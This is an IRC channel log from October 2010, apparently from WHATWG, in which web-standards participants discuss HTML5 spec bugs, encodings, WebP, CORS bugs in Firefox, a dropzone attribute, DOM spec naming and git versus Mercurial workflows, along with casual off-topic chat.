2010-10-01
[17:45:00.0000] <Philip`>
Oh, it's October already?

[17:45:01.0000] <Philip`>
For some reason I thought that was tomorrow

[17:46:00.0000] <Philip`>
I guess that's why everyone's been filing bugs today

[17:53:00.0000] <Aleoss>
Phillip`: Depends where you live. Where I'm from (Canada) it is still September. You are obviously from somewhere in Europe or Asia.

[18:37:00.0000] <WillPittenger>
I created a HTML5 audio tag on the fly with JS.  Can I assume that if I change the SRC attribute, the browser will reset it?  (That is, play the new URL?)

[18:53:00.0000] <WillPittenger>
Well, never mind.

[21:14:00.0000] <dominicdinada>
question about some http banners etc?

[21:29:00.0000] <ashaw>
The am implementing big integer multiplication in javascript and was wondering if there was a way to speed this code, as it runs much slower than other native code converted to JS.

[21:29:01.0000] <ashaw>
http://pastie.org/1192649

[21:34:00.0000] <ashaw>
hello

[01:30:00.0000] <hsivonen>
whoa! JF requested adding DRM to <video>. How sad.

[01:36:00.0000] <hsivonen>
the allegation made in http://www.w3.org/Bugs/Public/show_bug.cgi?id=10904 is even more obviously BS

[01:38:00.0000] <annevk>
I wonder what the idea behind those bugs were

[01:40:00.0000] <annevk>
http://x264dev.multimedia.cx/?p=541 -- WebP analysis

[01:58:00.0000] <hsivonen>
If Google wants to unseat JPEG, why don't they support JPEG XR? Is JPEG XR not royalty-free?

[01:59:00.0000] <annevk>
JPEG XR is per Wikipedia

[01:59:01.0000] <hsivonen>
By default, I'm rather skeptical of all attempts to unseat JPEG.

[02:00:00.0000] <hsivonen>
because the claims made about JPEG 2000 turned out to be bogus when I tried to verify the claims myself

[02:02:00.0000] <hsivonen>
(that is, when I tried to verify them with shipped software which was what authors could have realistically used)

[02:03:00.0000] <hsivonen>
(I know nothing about the theoretical potential of JPEG 2000 compared to the theoretical potential of JPEG)

[02:34:00.0000] <jgraham>
Well happy bugspam day, everyone

[02:37:00.0000] <annevk>
it's also mailman day

[02:37:01.0000] <annevk>
double joy

[02:37:02.0000] <hsivonen>
jgraham: I felt pretty accomplished when I got through bugmail before lunch

[02:38:00.0000] <jgraham>
hsivonen: Wow, dedication

[02:38:01.0000] <annevk>
/me sometimes forgets hsivonen is an hour ahead

[02:38:02.0000] <jgraham>
I'm not even sure I knew that

[02:39:00.0000] <jgraham>
Finland is a different timezone?

[02:39:01.0000] <hsivonen>
jgraham: yes, Sweden and Spain can be in the same time zone but somehow Portugal and Finland can't

[02:40:00.0000] <jgraham>
Fun

[02:40:01.0000] <hsivonen>
apparently *that* would strech things too much

[02:41:00.0000] <jgraham>
Arguably its bizzare that Spain isn't using GMT

[02:48:00.0000] <annevk>
or the UK is bizarre

[02:50:00.0000] <jgraham>
Hmm? Since the timezones are centered on the UK we must be right by definition :)

[02:53:00.0000] <hsivonen>
l'heure de Paris won the market share battle

[02:54:00.0000] <hsivonen>
(cue Tintin and using Paris for the zero meridian, too, for epic incompatibility)

[03:34:00.0000] <annevk>
https://bugs.webkit.org/show_bug.cgi?id=46936 -- this would at least decouple them somewhat more from DOM Level 3 Core

[03:34:01.0000] <annevk>
euh, Web DOM Core

[04:03:00.0000] <Rich_Clark>
Hey Guys, who can tell me about <s>? Does the 's' stand for 'strike-through'?

[04:04:00.0000] <Peter`>
http://www.whatwg.org/specs/web-apps/current-work/multipage/text-level-semantics.html#the-s-element

[04:04:01.0000] <Rich_Clark>
and both <s> and <strike> were 'absent' from HTML5 so why is it back in?

[04:05:00.0000] <Rich_Clark>
@Peter seen that yeah but I wondering what the 's' stands for

[04:05:01.0000] <Peter`>
http://www.w3.org/Bugs/Public/show_bug.cgi?id=9429

[04:06:00.0000] <Peter`>
sorry for just giving links, searching around myself

[04:08:00.0000] <Peter`>
it seems to just be <s>trike

[04:12:00.0000] <Rich_Clark>
yeah, thanks peter

[04:16:00.0000] <annevk>
maybe validators should warn about UTF-16 in general

[04:17:00.0000] <annevk>
I also fail to see how http://www.w3.org/Bugs/Public/show_bug.cgi?id=10890 is an "i18n issue" -- seems more like a preference of someone

[04:25:00.0000] <hsivonen>
annevk: I'd be OK with warning about UTF-16

[04:25:01.0000] <hsivonen>
https://bugzilla.mozilla.org/show_bug.cgi?id=599320 for the latest UTF-16 awesomeness

[04:28:00.0000] <MikeSmith>
do we have a "don't use UTF-16 on the Web" FAQ around somewhere?

[04:29:00.0000] <hsivonen>
MikeSmith: instead, the i18n group maintains advice pages on w3.org that say how to use UTF-16

[04:29:01.0000] <hsivonen>
which to a reader implies that using UTF-16 is OK

[04:30:00.0000] <annevk>
MikeSmith, I wrote up http://annevankesteren.nl/2009/09/utf-8-reasons at some point

[04:31:00.0000] <MikeSmith>
hsivonen: yeah, I know… I need to talk with RIchard Ishida about this

[04:34:00.0000] <annevk>
hsivonen, would fixing that not break something else? I guess it wouldn't since UTF-16 is always identified properly

[04:34:01.0000] <annevk>
hsivonen, I guess that's another case where you want to replace UTF-16 with UTF-8 or some such...

[04:48:00.0000] <hsivonen>
annevk: I don't know if fixing the inheritance bug would break something else, but clearly it's always dangerous to have a tentative encoding that's not a rough ASCII superset

[04:49:00.0000] <hsivonen>
annevk: though we can get into that situation with chardet, too

[04:49:01.0000] <hsivonen>
but if chardet sniffs something as UTF-16, chances are it really is

[04:50:00.0000] <hsivonen>
MikeSmith: did I perform the escalation mechanics correctly in http://www.w3.org/Bugs/Public/show_bug.cgi?id=10589 ?

[05:07:00.0000] <MikeSmith>
hsivonen: yep

[05:20:00.0000] <hsivonen>
whoa. It seems I'm empowered to create a new issue. Should I just go ahead and do it myself?

[05:21:00.0000] <hsivonen>
the Decision Process says I'm allowed to do it

[05:22:00.0000] <hsivonen>
Done

[05:30:00.0000] <MikeSmith>
hsivonen: yeah, DIY tracker-issue creation is the preferred means

[05:32:00.0000] <MikeSmith>
the TrackerRequest keyword mechanism was originally just intended for people who aren't members of the group

[05:59:00.0000] <MikeSmith>
eighty4: 

[05:59:01.0000] <MikeSmith>
oops

[06:00:00.0000] <MikeSmith>
(ignore that -- fat-fingered)

[06:01:00.0000] <annevk>
why has http://dev.w3.org/html5/status/issue-status.html such a confusing style sheet?

[06:01:01.0000] <annevk>
i.e. every third row colored...

[06:01:02.0000] <annevk>
I thought the important rows were colored for a moment

[06:03:00.0000] <MikeSmith>
annevk: dunno, but Sam would seem to be the one to ask

[06:04:00.0000] <MikeSmith>
http://dev.w3.org/cvsweb/html5/status/status.css

[06:04:01.0000] <annevk>
yeah, that's how I found out

[06:08:00.0000] <hsivonen>
it's now been two months since the versioning poll closed...

[06:10:00.0000] <annevk>
maybe they felt uncomfortable making a decision with Larry on vacation

[06:11:00.0000] <hsivonen>
dunno.

[06:11:01.0000] <annevk>
me neither

[06:12:00.0000] <hsivonen>
but it seems to me it was more relevant to have the poll open while Larry wasn't on vacation 

[06:12:01.0000] <hsivonen>
I mean, after the Chairs hand down a Decision, you aren't supposed to discuss anymore

[06:25:00.0000] <annevk>
So how did the dragon get so big so fast in Sintel?

[06:42:00.0000] <eighty4>
/me ignores nothing!

[06:42:01.0000] <jcranmer>
ignore that

[06:47:00.0000] <loucapo>
hey everyone, anyone here have experience with cross origin xmlhttp in FF? 

[06:50:00.0000] <loucapo>
for some reason the code that annevk helped me work through the other day is functional in chrome and safari, but I cant get Firefox working…even in the nightlies.

[06:52:00.0000] <Rik`>
loucapo: have you checked https://developer.mozilla.org/En/HTTP_Access_Control ?

[06:52:01.0000] <loucapo>
yup

[06:52:02.0000] <loucapo>
i am not see anything obviously different

[06:57:00.0000] <annevk>
loucapo, Firefox has a bug

[06:58:00.0000] <annevk>
loucapo, as I expected

[06:58:01.0000] <annevk>
loucapo, see the patches from sicking in https://bugzilla.mozilla.org/show_bug.cgi?id=597301 which hopefully means the issues will be resolved before Firefox 4

[07:02:00.0000] <annevk>
that contenteditable test suite is pretty sweet

[07:13:00.0000] <loucapo>
annevk, interesting and thanks for that. i guess its 200 only for Firefox for the time being.

[08:23:00.0000] <annevk>
hmm, even Denon receivers require firmware updates these days

[08:23:01.0000] <annevk>
takes bloody long too

[08:24:00.0000] <annevk>
and lets not discuss the UI

[08:24:01.0000] <zcorpan>
do receivers have a web browser these days?

[08:26:00.0000] <annevk>
it actually comes with support for some web services, but I believe it is all hardcoded and terrible (haven't played with it yet)

[08:26:01.0000] <annevk>
supposedly Live.fm, Flickr, various internet radio stations, and some other stuff

[08:31:00.0000] <annevk>
still updating

[08:31:01.0000] <annevk>
it has said 01min for a long time now

[08:32:00.0000] <annevk>
though something is still moving, I guess that's supposed to tell me it hasn't crashed yet

[08:41:00.0000] <annevk>
ooh, it's on again

[08:41:01.0000] <annevk>
and started playing music -- scared me

[08:45:00.0000] <jgraham>
flickr integration? What does that do?

[08:46:00.0000] <virtuelv>
this thread is depressing

[08:46:01.0000] <virtuelv>
http://www.reddit.com/r/web_design/comments/dl2ek/til_what_exactly_xhtml_is/

[08:46:02.0000] <virtuelv>
«Unfortunately, Ian Hickson is persistent and insane»

[08:48:00.0000] <Philip`>
Change that to "Fortunately" and I'd agree

[09:03:00.0000] <zcorpan>
TabAtkins: actually i think the spec says <track kind=descriptions> means synthesized audio

[09:04:00.0000] <zcorpan>
or if the kind="" was called somethign else

[09:14:00.0000] <jgraham>
virtuelv: Unfortunately, random people on the internet can't be relied on to correlate their strength of their assertions with their actual domain knowledge

[10:20:00.0000] <TabAtkins>
zcorpan: Ah, right you are.

[10:50:00.0000] <mven>
TITLE: Chile miners request female trainer

[10:51:00.0000] <TabAtkins>
...?_?

[10:51:01.0000] <mven>
IMAGE: Group pic of Chile miners with no shirts and the pic is waist up

[10:51:02.0000] <mven>
crap

[10:51:03.0000] <mven>
sorry wrong channel :(

[10:51:04.0000] <TabAtkins>
kk

[10:56:00.0000] <Aleoss>
That reminds me of that time I put a dos-look-alike script URL to #linux. :P

[10:57:00.0000] <mven>
heh

[10:57:01.0000] <Aleoss>
If anyone is wondering what I'm describing.. http://aleoss.ath.cx/domain/

[10:58:00.0000] <Aleoss>
They were annoyed but not too annoyed since it is the latest HTML and is completely valid.

[10:58:01.0000] <Ms2ger>
annevk, you don't seem to handle getComputedStyle(null)

[11:00:00.0000] <annevk>
Ms2ger, that depends on Web IDL

[11:00:01.0000] <annevk>
Ms2ger, or you mean it does something special?

[11:01:00.0000] <Ms2ger>
You mean you're waiting for [NoNull]?

[11:02:00.0000] <annevk>
the new plan is to require ? if you want null

[11:02:01.0000] <annevk>
rather than having host objects always be nullable

[11:02:02.0000] <Ms2ger>
Really? That kinda sucks

[11:02:03.0000] <annevk>
it's way better imo

[11:27:00.0000] <mven>
wow. webp shows some pretty good compression

[11:28:00.0000] <mven>
http://code.google.com/speed/webp/gallery.html

[11:31:00.0000] <Aleoss>
mven: I am not sure what that site is trying to say, I looked at the file sizes and the .jpg is smaller than the .png

[11:32:00.0000] <Aleoss>
Like where did they bull these sizes from? They're made up or something.

[11:32:01.0000] <mven>
yea i'm a bit confused. but i think they state its in a png container right now since browsers cant support webp

[11:33:00.0000] <mven>
does a container create that much overhead to explain the added kb ?

[11:33:01.0000] <annevk>
PNG is losless

[11:33:02.0000] <annevk>
so way bigger

[11:33:03.0000] <mven>
ah right

[11:33:04.0000] <Aleoss>
That is correct.

[11:34:00.0000] <mven>
how long before IE supports RIFF

[11:34:01.0000] <mven>
/me chuckles

[11:34:02.0000] <Aleoss>
Even if IE does go and support it, nobody will use it for years because companies use older browsers of IE.

[11:35:00.0000] <Philip`>
Microsoft was the originator of RIFF

[11:35:01.0000] <mven>
yea. lots of corps still using IE6. sucks.

[11:35:02.0000] <mven>
well IBM and MSFT developed it

[11:36:00.0000] <mven>
but doesn't necessarily predict it would have support in IE. I couldn't find anything on google for a browser compatability list.

[11:36:01.0000] <Hixie>
AryehGregor: http://www.w3.org/Bugs/Public/show_bug.cgi?id=10345 are these all "limited to only non-negative numbers" or should i test it carefully?

[11:37:00.0000] <Philip`>
mven: It doesn't make sense to support RIFF anyway

[11:37:01.0000] <Philip`>
It's more like a system for writing file formats than a format itself

[11:37:02.0000] <TabAtkins>
RIFF is like XML?

[11:37:03.0000] <mven>
I dunno. I think the savings they claim might be justified to support it.

[11:40:00.0000] <Hixie>
wow

[11:40:01.0000] <Hixie>
<applet> in gecko turns into a new DOM Node that isn't an Element

[11:40:02.0000] <Hixie>
it's a [Java Package]

[11:40:03.0000] <Hixie>
that's messed up

[11:41:00.0000] <annevk>
DOM Core is gonna treat that as a bug :)

[11:43:00.0000] <mven>
is there any book out there that will explain the DOM more than what wikipedia tries to do?

[11:43:01.0000] <mven>
*good*

[11:52:00.0000] <TabAtkins>
What aspect of DOM do you need?  Conceptual, implementation, how-to-use-in-a-browser?

[11:55:00.0000] <karlcow>
mven: https://developer.mozilla.org/en/DOM

[11:55:01.0000] <karlcow>
http://dev.opera.com/articles/view/traversing-the-dom/

[11:55:02.0000] <mven>
karlcow: nice thanks

[12:54:00.0000] <Hixie>
any opinions on adding a dropzone attribute to complement the draggable attribute? http://www.w3.org/Bugs/Public/show_bug.cgi?id=10712

[12:55:00.0000] <Ms2ger>
Sounds pretty nice

[12:55:01.0000] <Hixie>
maybe dropzone="mime type list"?

[12:55:02.0000] <Ms2ger>
Not that I've ever used drag and drop

[12:57:00.0000] <variable>
Hixie, and how would you wildcard (ie to upload anything)?

[12:57:01.0000] <Hixie>
if you want to accept files you'd set it to Files

[12:58:00.0000] <Hixie>
i guess

[12:58:01.0000] <Hixie>
hmm

[12:59:00.0000] <variable>
I'd like to see a dropzone attribute - but I duno about the mime-types part

[12:59:01.0000] <variable>
erm - would Files match the mime type of all files?

[12:59:02.0000] <Hixie>
the mime type right now would not match the files mime types

[12:59:03.0000] <Hixie>
only setData() mime types

[12:59:04.0000] <Hixie>
we could just say that if you set dropzone then you'll accept anything at all, and if you want to filter you need to use script still

[13:01:00.0000] <variable>
Perhaps upon drop a certain callback could be run - and if it returns true; the drop is done and if it returns false; it isn't?

[13:01:01.0000] <Hixie>
we already have all the callbacks

[13:01:02.0000] <variable>
and the callback could access mime-type/file-size/whatever other data it might need?

[13:01:03.0000] <Hixie>
that's already done

[13:02:00.0000] <variable>
:-)

[14:24:00.0000] <TabAtkins>
Hixie: I really need to play with drag-and-drop, but it sounds potentially interesting.

[14:24:01.0000] <TabAtkins>
Hixie: I do know that DnD is pretty sucky to work with right now, because I was helping some people get it working a few weeks ago at a code campout and everyone agreed that it was confusing and stupid.

[14:31:00.0000] <annevk>
Ms2ger, innerHTML is not in DOM Range

[14:32:00.0000] <Ms2ger>
No, it isn't

[14:54:00.0000] <Migs>
wtf is whatwg?

[14:55:00.0000] <Migs>
herro?

[14:55:01.0000] <daekano>
what?

[14:55:02.0000] <aho>
http://en.wikipedia.org/wiki/Whatwg

[14:55:03.0000] <Philip`>
Migs: It's a group of people who sometimes write HTML5

[14:55:04.0000] <daekano>
>.>

[14:55:05.0000] <variable>
Migs, http://wiki.whatwg.org/wiki/FAQ

[14:55:06.0000] <Aleoss>
King John Il?

[14:55:07.0000] <Migs>
oic

[14:55:08.0000] <Migs>
howtf do I join?

[14:55:09.0000] <Philip`>
You can subscribe to the mailing list via pointers on the web site

[14:56:00.0000] <Migs>
cool thanks

[14:56:01.0000] <jgraham>
It should not be confused with whattf which is quite different

[14:56:02.0000] <aho>
wtf? :>

[14:56:03.0000] <aho>
yea... exactly

[14:56:04.0000] <Aleoss>
What about whatts?

[14:57:00.0000] <jgraham>
Test Suite?

[14:57:01.0000] <Philip`>
Nor should it be confused with Watto, as he is a Toydarian and not a web standards group

[14:57:02.0000] <jgraham>
Or Waldo, who was a character in a Velvet Underground song

[14:58:00.0000] <Aleoss>
No way, "The Shit"

[14:58:01.0000] <Ms2ger>
Or, for that matter, Wally. Where is he, actually?

[15:01:00.0000] <variable>
jgraham, they found waldo!?

[15:02:00.0000] <gsnedders>
variable: Well, only after cutting him in two

[15:03:00.0000] <jgraham>
Hence the past tense

[15:04:00.0000] <jgraham>
It's Wally we can't find

[15:04:01.0000] <gsnedders>
jgraham: Indeed, silly American's tihnking he is called Waldo

[15:04:02.0000] <variable>
https://thefullfool.files.wordpress.com/2010/09/wheres-waldo1.jpg -> I can't find waldo

[15:05:00.0000] <variable>
he /is/ called waldo

[15:05:01.0000] <gsnedders>
variable: It's called Where's Wally in the original language :P

[15:06:00.0000] <jgraham>
variable: http://en.wikipedia.org/wiki/Where's_Wally%3F

[15:07:00.0000] <variable>
thats silly 

[15:07:01.0000] <variable>
""On Thursday 2 April 2009, 1,052 students, alumni, and members of the community at Rutgers University in New Brunswick, New Jersey, USA, captured the Guinness World Record for the largest gathering of people dressed as Waldo""

[15:07:02.0000] <variable>
heh

[15:48:00.0000] <zcorpan>
annevk: maybe we should drop the 'Web' from 'Web DOM Core'

[15:53:00.0000] <annevk>
zcorpan, yeah, I think so

[15:53:01.0000] <Hixie>
zcorpan: we added the Web to emphasise that it was optimised for the web, and not other environments (like servers)

[15:53:02.0000] <annevk>
they can have Document Object Model Level 3 Core

[15:53:03.0000] <annevk>
:)

[15:54:00.0000] <annevk>
if I can manage to convince the W3C Team I'd prefer to just go with TR/domcore and DOM Core as it is less to remember

[15:54:01.0000] <Hixie>
the problem was people thinking "DOM Core" was for them, when it was for the web

[15:54:02.0000] <Hixie>
oh for the short name sure

[15:54:03.0000] <Hixie>
/me doesn't really care about the TR/ page anymore anyway

[15:55:00.0000] <zcorpan>
i don't think it needs to be emphasized in the name of the spec

[15:55:01.0000] <zcorpan>
not that i really care though :)

[15:56:00.0000] <annevk>
it's not a big thing, it's just slightly more convenient if it's shorter

[15:57:00.0000] <annevk>
the alternative would be "Web DOM" which includes the basics of events

[15:57:01.0000] <jgraham>
I prefer "Web"

[15:57:02.0000] <jgraham>
I mean "Web DOM Core"

[15:57:03.0000] <jgraham>
Or just "Web DOM"

[15:57:04.0000] <Hixie>
Web DOM is good

[15:57:05.0000] <annevk>
yeah well, if you wanna take over editing you can name it jgraham :)

[15:58:00.0000] <Hixie>
it's indeed up to the editor :-)

[15:58:01.0000] <jgraham>
I can take over to edit the title

[15:58:02.0000] <jgraham>
And then hand it back to you when I realise that you get paid for it

[15:58:03.0000] <jgraham>
and I don't

[15:58:04.0000] <jgraham>
:p

[15:58:05.0000] <Hixie>
they don't pay you?! :-P

[15:58:06.0000] <jgraham>
Not to edit Web DOM Core, no

[16:00:00.0000] <jgraham>
(seriously, I don't really see what the advantage of a shorter title is, whereas havin "web" in there explicitly sets the right expectations for who the spec is aimed at)

[16:01:00.0000] <jgraham>
(calling it "We don't care about Java servers DOM Core" would also work, but seems unweildy)

[16:04:00.0000] <annevk>
Web DOM Core is annoying to type; DOM Core less so

[16:04:01.0000] <annevk>
it's like HTML5 vs Web Applications 1.0

[16:05:00.0000] <Hixie>
/me notes he went back to Web Applications 1.0 :-)

[16:05:01.0000] <gsnedders>
annevk: Then you'll have Java people complaining it's incompatible with deloyed code.

[16:06:00.0000] <annevk>
I hope to go to just DOM one day :)

[16:06:01.0000] <jgraham>
I would drop the "core" rather than the "web"

[16:06:02.0000] <annevk>
gsnedders, it's not a successor to what came before, it's just based on

[16:06:03.0000] <jgraham>
annevk: I think you will still get complaints

[16:07:00.0000] <annevk>
well that is inevitable

[16:08:00.0000] <zcorpan>
nn

[16:08:01.0000] <jgraham>
gn

[16:11:00.0000] <annevk>
maybe we should add a color to it

[16:12:00.0000] <annevk>
Green DOM Core

[16:12:01.0000] <Moo--__>
sounds like a plot twist from Matrix

[16:13:00.0000] <annevk>
DOM Red Pill

[16:13:01.0000] <annevk>
(original: http://annevankesteren.nl/2007/04/html-red-pill )

[16:14:00.0000] <Moo--__>
SVG sucks? :<

[16:15:00.0000] <annevk>
it's funny that all those things were contested and none of those things changed

[16:15:01.0000] <Moo--__>
annevk: well, you know.. the general state of human kind

[16:15:02.0000] <annevk>
Moo--__, don't pay attention to that guy

[16:15:03.0000] <annevk>
Moo--__, he claimed CSS and standards suck too

[16:16:00.0000] <Moo--__>
annevk: I don't trust monotone people with hercules poirot moustache

[16:17:00.0000] <annevk>
also, if you peek in the source you'll find out he's drawn using SVG

[16:18:00.0000] <annevk>
good night everyone

[16:18:01.0000] <Moo--__>
good night

[16:23:00.0000] <mven>
night

[16:33:00.0000] <cardona507>
drawn using svg - nice


2010-10-02
[17:03:00.0000] <Hixie>
what's with webkit not honouring <canvas> aspect ratios?

[17:49:00.0000] <TabAtkins>
Hixie: In what respect?  Repro?  

[17:49:01.0000] <TabAtkins>
/me doesn't know if it does or not, is just curious.

[17:49:02.0000] <Hixie>
let me make a test case, hold on

[17:51:00.0000] <AlexLibman>
Is this channel a wishing well for HTML(5,6,...) improvements?  :P

[17:52:00.0000] <TabAtkins>
You can discuss them, though sending an email to the WHATWG or HTMLWG lists is required to actually get Hixie to pay attention.  ^_^

[17:52:01.0000] <Hixie>
just HTML :-)

[17:52:02.0000] <AlexLibman>
I wish HTML had built-in Metalink functionality, so I could specify multiple places where a link can be downloaded in case one of the mirrors is down or slow.  That would make the Web a much more resilient place...

[17:55:00.0000] <TabAtkins>
Can't you just provide multiple links?  Something like <a>Link!</a><small><a>mirror 1</a><a>mirror 2</a><a>mirror 3</a>.

[17:56:00.0000] <AlexLibman>
Right now I would need to have a JavaScript solution which onload silently loops through all links on the site, skipping offsite links, and preloads the href URL via XMLHttpRequest.  If the status code isn't OK or response time is too slow, it modifies the URL for the second mirror in the list and tries again, replacing the href when successful.  If HTML would just allow multiple href's per link, this wouldn't require slowing down the clien

[17:57:00.0000] <Hixie>
TabAtkins: http://www.hixie.ch/tests/adhoc/css/box/replaced/006.html compare firefox (correct rendering), webkit (fails)

[17:58:00.0000] <AlexLibman>
Most users find that annoying, and the browser can do a much better job picking the ideal mirror, the way Metalink / chunk downloaders do.  Because of this annoyance, much fewer sites set up mirrors, and thus the Web experiences more errors as the result.

[17:58:01.0000] <AlexLibman>
By "find that annoying" I meant "<a>Link!</a><small><a>mirror 1</a><a>mirror 2</a><a>mirror 3</a>"

[18:00:00.0000] <abarth>
AlexLibman: what sort of UI would the browser provide that the site can't make itself?

[18:03:00.0000] <AlexLibman>
No UI, just a loop through the list of hrefs instead of one, stopping on the first that doesn't return a connection / HTTP error / timeout.  No way to do this via JS w/o prefetching all the on-site links.

[18:04:00.0000] <AlexLibman>
I guess when linking to large files some browsers could use secondary mirrors for chunk downloading acceleration, but that's optional.

[18:05:00.0000] <AlexLibman>
Right now links are a send-and-pray process, if the destination server is down or slashdotted there's nothing the sending page can do.

[18:25:00.0000] <variable>
AlexLibman, I somewhat agree. it would be interesting to see something like an altlink="" feature for a links

[18:26:00.0000] <variable>
I don't know what the tradeoffs are though

[13:22:00.0000] <kbrosnan>
rezbit: so i'd say you are at the point of copying your profile info over to a clean one

[13:24:00.0000] <Ms2ger>
Oooh, mutation events

[13:52:00.0000] <Ms2ger>
annevk, what should MutationEvent.relatedNode return for attribute modifications?


2010-10-03
[02:52:00.0000] <espadrine>
Never mind the bullets, so many html5 features! Font face loading,

[02:52:01.0000] <espadrine>
SVG background,

[02:52:02.0000] <espadrine>
"JavaScript acceleration" (this is a famous standard),

[02:52:03.0000] <espadrine>
CSS3 Multi-background,

[02:52:04.0000] <espadrine>
Editable content...

[05:43:00.0000] <annevk>
reddit is great

[05:43:01.0000] <annevk>
http://www.youtube.com/watch?v=Vxd08Sp_FdI

[05:43:02.0000] <annevk>
http://www.youtube.com/watch?v=dd_X-C5g29o

[05:43:03.0000] <annevk>
http://www.youtube.com/watch?v=eXXntgq6hTE

[05:43:04.0000] <annevk>
http://www.youtube.com/watch?v=FKrsAFWPnl4

[05:43:05.0000] <annevk>
http://www.youtube.com/watch?v=Phn0S9EVWjo

[05:49:00.0000] <Rik`>
the second scene from hard ticket to hawaii is awesome

[05:50:00.0000] <annevk>
yeah wtf is that

[05:50:01.0000] <annevk>
I think I have to see that movie now

[05:50:02.0000] <Rik`>
I've already seen it before

[05:51:00.0000] <Rik`>
(this specific scene, not the movie)

[05:51:01.0000] <Rik`>
the other one with a freesbee is cool too, great way to kill bad guys

[05:52:00.0000] <Rik`>
Machete is a must see btw

[05:56:00.0000] <annevk>
Machete is indeed awesome

[06:05:00.0000] <daedb>
man, those are some badass videos :D

[06:17:00.0000] <karlcow>
is it the htmlwg showers ? ;)

[06:21:00.0000] <karlcow>
Rik`: and the gesture at the end. "Score!". Un excellent navet il semble

[06:25:00.0000] <annevk>
/me is looking forward to Machete Kills

[06:27:00.0000] <annevk>
so saying that I wondered whether he's actually planning to make them

[06:27:01.0000] <annevk>
http://uk.movies.ign.com/articles/111/1118833p1.html

[06:32:00.0000] <Rik`>
the weirdest part of Machete is that Danny Trejo is 66 !

[06:32:01.0000] <annevk>
did not know

[06:32:02.0000] <Rik`>
karlcow: hmm, ça doit être du niveau de Mega Shark VS Giant Octopus

[06:32:03.0000] <annevk>
that's great

[06:34:00.0000] <Rik`>
he could be my grand father…

[06:34:01.0000] <karlcow>
heureusement il nous reste la poésie :p

[07:10:00.0000] <jgraham>
http://behindthecurtain.us/2010/06/12/my-first-week-with-the-iphone/

[07:10:01.0000] <jgraham>
"""In my more excitable moments, I consider the iPhone as the greatest thing to have ever happened to the blind"""

[09:27:00.0000] <AryehGregor>
Like every tenth commit at http://dvcs.w3.org/hg/html/shortlog is "Merge".  Lame.

[09:27:01.0000] <AryehGregor>
There is an hg rebase, you know.

[09:29:00.0000] <Dashiva>
The tools should save us

[09:29:01.0000] <Philip`>
One merge is mine but I was just copying jgraham

[09:29:02.0000] <Philip`>
so blame him

[09:29:03.0000] <AryehGregor>
Although hg has this crazy idea that it should call some basically arbitrary subset of its features "extensions" and disable them by default.

[09:30:00.0000] <AryehGregor>
So you have to add a line to your .hgrc to make it work.

[09:30:01.0000] <AryehGregor>
/me also thinks that throwing up a Python backtrace when he hits Ctrl-C is lame

[09:30:02.0000] <Philip`>
/me tries enabling rebase

[09:32:00.0000] <Philip`>
/me fails to figure out how to actually use it, from the help page

[09:32:01.0000] <AryehGregor>
Just do "hg pull --rebase" instead of "hg pull" from now on.  That should do it.

[09:32:02.0000] <AryehGregor>
Or do "hg pull; hg rebase".

[09:33:00.0000] <AryehGregor>
Or if that doesn't work, "hg rebase -b thelastrevisionIcommitted".

[09:39:00.0000] <AryehGregor>
When there are no actual conflicts, merge commits are just useless.

[09:40:00.0000] <AryehGregor>
And they make it harder to track down errors even where there are conflicts (see also git bisect).

[09:43:00.0000] <Philip`>
/me agrees

[09:43:01.0000] <Philip`>
(I just wasn't aware there was an easy way to rebase)

[09:46:00.0000] <AryehGregor>
http://mercurial.selenic.com/wiki/GitConcepts

[09:47:00.0000] <AryehGregor>
I like how "git pull" is the same as "hg fetch" and "git fetch" is the same as "hg pull".

[09:47:01.0000] <AryehGregor>
Very clever.

[09:48:00.0000] <AryehGregor>
The equivalent of git commit --amend is apparently a sequence of three longish commands requiring an extension.

[09:48:01.0000] <AryehGregor>
LAME.

[09:48:02.0000] <AryehGregor>
That's one of my most-often used git commands.

[09:49:00.0000] <Philip`>
"hg out" is one that I use pretty frequently, and the git equivalent looks hard to remember

[09:50:00.0000] <AryehGregor>
It's not hard at all.  git log just accepts a revision range.

[09:50:01.0000] <AryehGregor>
So origin..HEAD means "all revisions between origin and HEAD".

[09:50:02.0000] <AryehGregor>
Where HEAD is what hg calls tip, and origin is upstream (dunno what hg calls it if anything).

[09:50:03.0000] <espadrine>
Today's git vs hg is yesterday's vi vs emacs!

[09:50:04.0000] <AryehGregor>
Usually I just look at git log, though.

[09:51:00.0000] <AryehGregor>
I mean, the ones I just committed are right on top, after all.

[09:51:01.0000] <AryehGregor>
espadrine, yeah, except indications so far look like git is going to win.  At least it seems to be the one that open-source projects are switching to, much more so than hg or bzr.

[09:52:00.0000] <AryehGregor>
Maybe I'm wrong, but in MediaWiki, for example, I don't think anyone's even suggested switching from SVN to anything but git.  Also GNOME just switched to git, I think . . .

[09:52:01.0000] <AryehGregor>
Although git is sometimes way too complicated.

[09:53:00.0000] <AryehGregor>
Like the staging area can be pretty confusing, although it's occasionally useful.

[09:53:01.0000] <AryehGregor>
(Like if you want to commit only some of your current changes, while leaving others alone.)

[09:53:02.0000] <AryehGregor>
(I've done that when, e.g., I found that I want to fix some typos and keep them in a separate commit from functional changes.  git add -i, yay.)

[09:54:00.0000] <espadrine>
True. Complex management requires complex tools.

[09:55:00.0000] <espadrine>
But Git's got great docs! So it is, say, "less" an issue...

[09:55:01.0000] <AryehGregor>
Cheap local branching can be really confusing, too.

[09:55:02.0000] <AryehGregor>
It's nice, but . . . I've sometimes found myself committing to release branches when I meant to commit to trunk.

[09:55:03.0000] <AryehGregor>
Because there's no obvious indication.

[09:55:04.0000] <AryehGregor>
So I'm not sure that's a plus.  (Although you could always just not use it, if you don't like it.)

[09:56:00.0000] <AryehGregor>
http://whygitisbetterthanx.com/ :)

[09:57:00.0000] <espadrine>
Wow, perforce is everywhere!

[09:57:01.0000] <Philip`>
Git's staging area sounds somewhat like Hg's mq

[09:57:02.0000] <AryehGregor>
/me notes that the "git add" thing is not really a fair comparison, since "git add" does something very different from "hg add": it actually records all changes to the staging area, it doesn't just mark the file as tracked

[09:58:00.0000] <AryehGregor>
I haven't used mq, but I don't think so.  There's only one staging area in git, it just stores all the stuff that you're planning to commit but haven't yet.

[09:58:01.0000] <AryehGregor>
So "git commit" will commit whatever's in the staging area, by default.

[09:58:02.0000] <AryehGregor>
"git add" adds changes from a file to the staging area.  "git commit -a" is like running "git add" on all tracked files followed by "git commit".

[09:58:03.0000] <AryehGregor>
You can do "git add -i" to add only certain changes from a file to the staging area.

[09:59:00.0000] <AryehGregor>
Mostly it's an unnecessary extra abstraction, which can be confusing.

[09:59:01.0000] <AryehGregor>
E.g., "git diff" diffs the working copy against the staging area, not against HEAD.

[09:59:02.0000] <AryehGregor>
